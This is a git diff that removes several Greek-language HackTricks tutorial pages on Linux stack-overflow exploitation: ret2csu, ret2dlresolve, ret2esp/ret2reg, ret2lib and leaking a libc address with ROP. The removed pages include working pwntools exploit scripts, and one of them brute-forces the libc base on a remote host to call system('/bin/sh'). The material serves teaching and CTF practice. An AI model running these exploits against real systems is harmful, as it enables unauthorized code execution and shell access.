με το όνομα του πρώτου γράμματος της νέας συμβολοσειράς** καθώς αυτό θα εκτελείται από το δυαδικό. - -Μπορείτε να βρείτε ένα παράδειγμα αυτού στο: - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/strptr.c) -- [https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html](https://guyinatuxedo.github.io/04-bof_variable/tw17_justdoit/index.html) -- 32bit, αλλάξτε τη διεύθυνση στη συμβολοσειρά flags στη στοίβα ώστε να εκτυπωθεί από το `puts` - -## Δείκτες Συναρτήσεων - -Το ίδιο με τον δείκτη συμβολοσειρών αλλά εφαρμόζεται σε συναρτήσεις, αν η **στοίβα περιέχει τη διεύθυνση μιας συνάρτησης** που θα κληθεί, είναι δυνατόν να **αλλάξει** (π.χ. να καλέσει τη **`system`**). - -Μπορείτε να βρείτε ένα παράδειγμα στο: - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/funcptr.c) - -## Αναφορές - -- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#pointer-redirecting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md deleted file mode 100644 index b257bc749..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md +++ /dev/null @@ -1,76 +0,0 @@ -# Ret2csu - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -**ret2csu** είναι μια τεχνική hacking που χρησιμοποιείται όταν προσπαθείτε να ελέγξετε ένα πρόγραμμα αλλά δεν μπορείτε να βρείτε τα **gadgets** που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος. - -Όταν ένα πρόγραμμα χρησιμοποιεί ορισμένες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διαφορετικά κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Μεταξύ αυτών των λειτουργιών υπάρχουν μερικοί κρυμμένοι θησαυροί που μπορούν να λειτουργήσουν ως τα χαμένα μας gadgets, ειδικά ένα που ονομάζεται `__libc_csu_init`. - -### The Magic Gadgets in \_\_libc_csu_init - -Στο `__libc_csu_init`, υπάρχουν δύο ακολουθίες εντολών (τα "μαγικά gadgets" μας) που ξεχωρίζουν: - -1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε αρκετούς καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα. -```armasm -pop rbx; -pop rbp; -pop r12; -pop r13; -pop r14; -pop r15; -ret; -``` -Αυτή η συσκευή μας επιτρέπει να ελέγχουμε αυτούς τους καταχωρητές αποσύροντας τιμές από τη στοίβα σε αυτούς. - -2. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ρυθμίσει για να κάνουμε μερικά πράγματα: -- **Μετακίνηση συγκεκριμένων τιμών σε άλλους καταχωρητές**, προετοιμάζοντάς τους για να τους χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις. -- **Εκτέλεση κλήσης σε μια τοποθεσία** που καθορίζεται προσθέτοντας τις τιμές σε r15 και rbx, και στη συνέχεια πολλαπλασιάζοντας το rbx με 8. -``` -mov rdx, r14; -mov rsi, r13; -mov edi, r12d; -call qword [r15 + rbx*8]; -``` -## Παράδειγμα - -Φανταστείτε ότι θέλετε να κάνετε μια syscall ή να καλέσετε μια συνάρτηση όπως το `write()`, αλλά χρειάζεστε συγκεκριμένες τιμές στους καταχωρητές `rdx` και `rsi` ως παραμέτρους. Συνήθως, θα ψάχνατε για gadgets που ρυθμίζουν αυτούς τους καταχωρητές άμεσα, αλλά δεν μπορείτε να βρείτε κανένα. - -Εδώ έρχεται το **ret2csu** στο προσκήνιο: - -1. **Ρύθμιση των Καταχωρητών**: Χρησιμοποιήστε το πρώτο μαγικό gadget για να βγάλετε τιμές από τη στοίβα και να τις τοποθετήσετε στους rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15. -2. **Χρησιμοποιήστε το Δεύτερο Gadget**: Με αυτούς τους καταχωρητές ρυθμισμένους, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μεταφέρετε τις επιλεγμένες τιμές σας στους `rdx` και `rsi` (από r14 και r13, αντίστοιχα), προετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το `r15` και το `rbx`, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και τοποθετείτε στο `[r15 + rbx*8]`. - -Έχετε ένα [**παράδειγμα που χρησιμοποιεί αυτή την τεχνική και το εξηγεί εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret -REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] -RW_LOC = 0x00404028 - -rop.raw('A' * 40) -rop.gets(RW_LOC) -rop.raw(POP_CHAIN) -rop.raw(0) # r12 -rop.raw(0) # r13 -rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! -rop.raw(RW_LOC) # r15 - holds location of called function! -rop.raw(REG_CALL) # all the movs, plus the call - -p.sendlineafter('me\n', rop.chain()) -p.sendline(p64(elf.sym['win'])) # send to gets() so it's written -print(p.recvline()) # should receive "Awesome work!" -``` -> [!WARNING] -> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, αλλά για να καλέσει μια συνάρτηση που ονομάζεται `win` (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με μια τρίτη παράμετρο με την τιμή `0xdeadbeefcafed00d`. - -### Γιατί να Μην Χρησιμοποιήσουμε Απλά τη libc Άμεσα; - -Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στη libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές άμεσα μπορεί να μην είναι δυνατή**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md deleted file mode 100644 index ff0241201..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2dlresolve.md +++ /dev/null @@ -1,65 +0,0 @@ -# Ret2dlresolve - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**. - -Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να επιλύσει το καθορισμένο σύμβολο. - -Επομένως, είναι δυνατόν να **ψεύσουμε όλες αυτές τις δομές** για να κάνουμε τη δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσουμε με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**). - -Συνήθως, όλες αυτές οι δομές ψεύδονται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`** με τη διεύθυνση του `$'/bin/sh'`. - -> [!TIP] -> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν gadgets syscall (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv.md) ή [SROP](srop-sigreturn-oriented-programming.md)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc. - -Μπορείτε να βρείτε μια καλύτερη εξήγηση για αυτή την τεχνική στο δεύτερο μισό του βίντεο: - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Structures - -Είναι απαραίτητο να ψεύσουμε 3 δομές: **`JMPREL`**, **`STRTAB`** και **`SYMTAB`**. Έχετε μια καλύτερη εξήγηση για το πώς αυτές κατασκευάζονται στο [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) - -## Attack Summary - -1. Γράψτε ψεύτικες δομές σε κάποια τοποθεσία -2. Ρυθμίστε το πρώτο επιχείρημα της `system` (`$rdi = &'/bin/sh'`) -3. Ρυθμίστε στη στοίβα τις διευθύνσεις των δομών για να καλέσετε **`_dl_runtime_resolve`** -4. **Καλέστε** `_dl_runtime_resolve` -5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα - -## Example - -Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε: -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = elf.process() -rop = ROP(elf) - -# create the dlresolve object -dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh']) - -rop.raw('A' * 76) -rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures -rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset - -log.info(rop.dump()) - -p.sendline(rop.chain()) -p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in - -p.interactive() -``` -## Αναφορές - -- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md deleted file mode 100644 index ec51e58f3..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md +++ /dev/null @@ -1,62 +0,0 @@ -# Ret2esp / Ret2reg - -{{#include ../../../banners/hacktricks-training.md}} - -## **Ret2esp** - -**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο shellcode τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο shellcode. - -Αν **η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη στα Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με την [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ενεργή, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)). - -Επιπλέον, η δυνατότητα τοποθέτησης του shellcode **μετά την καταστροφή του EIP**, αντί στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον shellcode. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο shellcode τοποθετούνταν στη μέση της στοίβας της συνάρτησης. - -### Lacking space - -If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial `jmp` shellcode like: -```armasm -sub rsp, 0x30 -jmp rsp -``` -Και γράψτε το shellcode νωρίς στη στοίβα. - -### Παράδειγμα - -Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) με μια τελική εκμετάλλευση όπως: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -jmp_rsp = next(elf.search(asm('jmp rsp'))) - -payload = b'A' * 120 -payload += p64(jmp_rsp) -payload += asm(''' -sub rsp, 10; -jmp rsp; -''') - -pause() -p.sendlineafter('RSP!\n', payload) -p.interactive() -``` -## Ret2reg - -Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές **`call eax`** ή **`jmp eax`** (γνωστές ως τεχνική **ret2eax**), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, **οποιοδήποτε άλλο καταχωρητή** που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (**ret2reg**). - -### Παράδειγμα - -Μπορείτε να βρείτε ένα παράδειγμα εδώ: [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - -## Προστασίες - -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump στο esp ή σε οποιονδήποτε άλλο καταχωρητή. - -## Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) -- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md deleted file mode 100644 index b25d93d94..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md +++ /dev/null @@ -1,129 +0,0 @@ -# Ret2lib - -{{#include ../../../../banners/hacktricks-training.md}} - -## **Βασικές Πληροφορίες** - -Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση εντός μιας κοινής βιβλιοθήκης (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβασμα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στο στοίβασμα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης. - -### **Παράδειγμα Βημάτων (απλοποιημένο)** - -- Πάρτε τη διεύθυνση της συνάρτησης που θα καλέσετε (π.χ. system) και την εντολή που θα καλέσετε (π.χ. /bin/sh) -- Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο επιχείρημα που δείχνει στη συμβολοσειρά εντολής και τη ροή εκτέλεσης στη συνάρτηση - -## Εύρεση των διευθύνσεων - -- Υποθέτοντας ότι η `libc` που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με: -```bash -ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) -``` -Αν θέλεις να ελέγξεις αν το ASLR αλλάζει τη διεύθυνση της libc μπορείς να κάνεις: -```bash -for i in `seq 0 20`; do ldd ./ | grep libc; done -``` -- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση στη συνάρτηση `system` με: -```bash -readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system -``` -- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση προς τη συνάρτηση της συμβολοσειράς `/bin/sh` με: -```bash -strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh -``` -### Χρησιμοποιώντας gdb-peda / GEF - -Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιήσετε το Peda ή το GEF για να αποκτήσετε τη διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και της συμβολοσειράς **`/bin/sh`** : -``` -p system -p exit -find "/bin/sh" -``` -### Χρησιμοποιώντας /proc/\/maps - -Αν η διαδικασία δημιουργεί **παιδιά** κάθε φορά που μιλάτε μαζί της (διακομιστής δικτύου) προσπαθήστε να **διαβάσετε** αυτό το αρχείο (πιθανώς θα χρειαστεί να είστε root). - -Εδώ μπορείτε να βρείτε **ακριβώς πού είναι φορτωμένη η libc** μέσα στη διαδικασία και **πού θα φορτωθεί** για κάθε παιδί της διαδικασίας. - -![](<../../../../images/image (95).png>) - -Σε αυτή την περίπτωση είναι φορτωμένη στο **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση της libc) - -## Άγνωστη libc - -Είναι πιθανό να **μην γνωρίζετε ποια libc φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται: - -{{#ref}} -rop-leaking-libc-address/ -{{#endref}} - -Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό εδώ: - -{{#ref}} -rop-leaking-libc-address/rop-leaking-libc-template.md -{{#endref}} - -## Παράκαμψη ASLR σε 32 bit - -Αυτές οι επιθέσεις brute-forcing είναι **μόνο χρήσιμες για συστήματα 32bit**. - -- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να κάνετε brute-force τη βασική διεύθυνση της libc (χρήσιμο για συστήματα 32bit): -```python -for off in range(0xb7000000, 0xb8000000, 0x1000): -``` -- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **burte-force τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. - -## One Gadget - -{{#ref}} -../../one-gadget.md -{{#endref}} - -## x86 Ret2lib Code Example - -Σε αυτό το παράδειγμα, το ASLR brute-force είναι ενσωματωμένο στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή: -```python -from pwn import * - -c = remote('192.168.85.181',20002) -c.recvline() - -for off in range(0xb7000000, 0xb8000000, 0x1000): -p = "" -p += p32(off + 0x0003cb20) #system -p += "CCCC" #GARBAGE, could be address of exit() -p += p32(off + 0x001388da) #/bin/sh -payload = 'A'*0x20010 + p -c.send(payload) -c.interactive() -``` -## x64 Ret2lib Code Example - -Δείτε το παράδειγμα από: - -{{#ref}} -../rop-return-oriented-programing.md -{{#endref}} - -## Ret-into-printf (ή puts) - -Αυτό επιτρέπει να **διαρρεύσει πληροφορίες από τη διαδικασία** καλώντας `printf`/`puts` με κάποια συγκεκριμένα δεδομένα τοποθετημένα ως επιχείρημα. - -## Ret2printf - -Αυτό σημαίνει βασικά την κατάχρηση ενός **Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό): - -{{#ref}} -../../format-strings/ -{{#endref}} - -## Άλλα παραδείγματα & αναφορές - -- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -- Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget -- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσετε μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσετε στη συνέχεια το puts και να το διαρρεύσετε. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει το `system('/bin/sh')` -- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) -- 64 bits, ASLR ενεργοποιημένο, χωρίς canary, υπερχείλιση στο stack από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget. -- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) -- 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση της write (libc) και καλεί ένα gadget. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md deleted file mode 100644 index 28f9f0b67..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md +++ /dev/null @@ -1,273 +0,0 @@ -# Διαρροή διεύθυνσης libc με ROP - -{{#include ../../../../../banners/hacktricks-training.md}} - -## Γρήγορη Περίληψη - -1. **Βρείτε** το **offset** υπερχείλισης -2. **Βρείτε** το gadget `POP_RDI`, το `PUTS_PLT` και το `MAIN` -3. Χρησιμοποιήστε τα προηγούμενα gadgets για να **διαρρεύσετε τη διεύθυνση μνήμης** του puts ή άλλης συνάρτησης libc και **βρείτε την έκδοση libc** ([κατεβάστε το](https://libc.blukat.me)) -4. Με τη βιβλιοθήκη, **υπολογίστε το ROP και εκμεταλλευτείτε το** - -## Άλλοι οδηγοί και δυαδικά αρχεία για εξάσκηση - -Αυτός ο οδηγός θα εκμεταλλευτεί τον κώδικα/δυαδικό αρχείο που προτείνεται σε αυτόν τον οδηγό: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Άλλοι χρήσιμοι οδηγοί: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - -## Κώδικας - -Όνομα αρχείου: `vuln.c` -```c -#include - -int main() { -char buffer[32]; -puts("Simple ROP.\n"); -gets(buffer); - -return 0; -} -``` - -```bash -gcc -o vuln vuln.c -fno-stack-protector -no-pie -``` -## ROP - Leaking LIBC template - -Θα χρησιμοποιήσω τον κώδικα που βρίσκεται εδώ για να δημιουργήσω την εκμετάλλευση.\ -Κατεβάστε την εκμετάλλευση και τοποθετήστε την στον ίδιο φάκελο με το ευάλωτο δυαδικό αρχείο και δώστε τα απαραίτητα δεδομένα στο σενάριο: - -{{#ref}} -rop-leaking-libc-template.md -{{#endref}} - -## 1- Finding the offset - -Το πρότυπο χρειάζεται μια μετατόπιση πριν συνεχίσει με την εκμετάλλευση. Αν παρέχεται οποιαδήποτε, θα εκτελέσει τον απαραίτητο κώδικα για να την βρει (κατά προεπιλογή `OFFSET = ""`): -```bash -################### -### Find offset ### -################### -OFFSET = ""#"A"*72 -if OFFSET == "": -gdb.attach(p.pid, "c") #Attach and continue -payload = cyclic(1000) -print(r.clean()) -r.sendline(payload) -#x/wx $rsp -- Search for bytes that crashed the application -#cyclic_find(0x6161616b) # Find the offset of those bytes -return -``` -**Εκτελέστε** `python template.py` θα ανοίξει μια κονσόλα GDB με το πρόγραμμα που έχει καταρρεύσει. Μέσα σε αυτήν την **κονσόλα GDB** εκτελέστε `x/wx $rsp` για να αποκτήσετε τα **bytes** που θα αντικαθιστούσαν το RIP. Τέλος, αποκτήστε την **απόσταση** χρησιμοποιώντας μια **κονσόλα python**: -```python -from pwn import * -cyclic_find(0x6161616b) -``` -![](<../../../../../images/image (140).png>) - -Αφού βρείτε την απόσταση (σε αυτή την περίπτωση 40) αλλάξτε τη μεταβλητή OFFSET μέσα στο πρότυπο χρησιμοποιώντας αυτή την τιμή.\ -`OFFSET = "A" * 40` - -Ένας άλλος τρόπος θα ήταν να χρησιμοποιήσετε: `pattern create 1000` -- _εκτελέστε μέχρι το ret_ -- `pattern seach $rsp` από το GEF. - -## 2- Εύρεση Gadgets - -Τώρα πρέπει να βρούμε ROP gadgets μέσα στο δυαδικό αρχείο. Αυτά τα ROP gadgets θα είναι χρήσιμα για να καλέσουμε `puts` για να βρούμε τη **libc** που χρησιμοποιείται, και αργότερα για να **εκκινήσουμε την τελική εκμετάλλευση**. -```python -PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts -MAIN_PLT = elf.symbols['main'] -POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" -RET = (rop.find_gadget(['ret']))[0] - -log.info("Main start: " + hex(MAIN_PLT)) -log.info("Puts plt: " + hex(PUTS_PLT)) -log.info("pop rdi; ret gadget: " + hex(POP_RDI)) -``` -Ο `PUTS_PLT` είναι απαραίτητος για να καλέσει τη **συνάρτηση puts**.\ -Ο `MAIN_PLT` είναι απαραίτητος για να καλέσει ξανά τη **κύρια συνάρτηση** μετά από μία αλληλεπίδραση για να **εκμεταλλευτεί** την υπερχείλιση **ξανά** (άπειροι γύροι εκμετάλλευσης). **Χρησιμοποιείται στο τέλος κάθε ROP για να καλέσει ξανά το πρόγραμμα**.\ -Ο **POP_RDI** είναι απαραίτητος για να **περάσει** μια **παράμετρο** στη καλούμενη συνάρτηση. - -Σε αυτό το βήμα δεν χρειάζεται να εκτελέσετε τίποτα καθώς όλα θα βρεθούν από το pwntools κατά την εκτέλεση. - -## 3- Εύρεση βιβλιοθήκης libc - -Τώρα είναι η ώρα να βρούμε ποια έκδοση της **βιβλιοθήκης libc** χρησιμοποιείται. Για να το κάνουμε αυτό, θα **διαρρεύσουμε** τη **διεύθυνση** στη μνήμη της **συνάρτησης** `puts` και στη συνέχεια θα **αναζητήσουμε** σε ποια **έκδοση βιβλιοθήκης** βρίσκεται η έκδοση του puts σε αυτή τη διεύθυνση. -```python -def get_addr(func_name): -FUNC_GOT = elf.got[func_name] -log.info(func_name + " GOT @ " + hex(FUNC_GOT)) -# Create rop chain 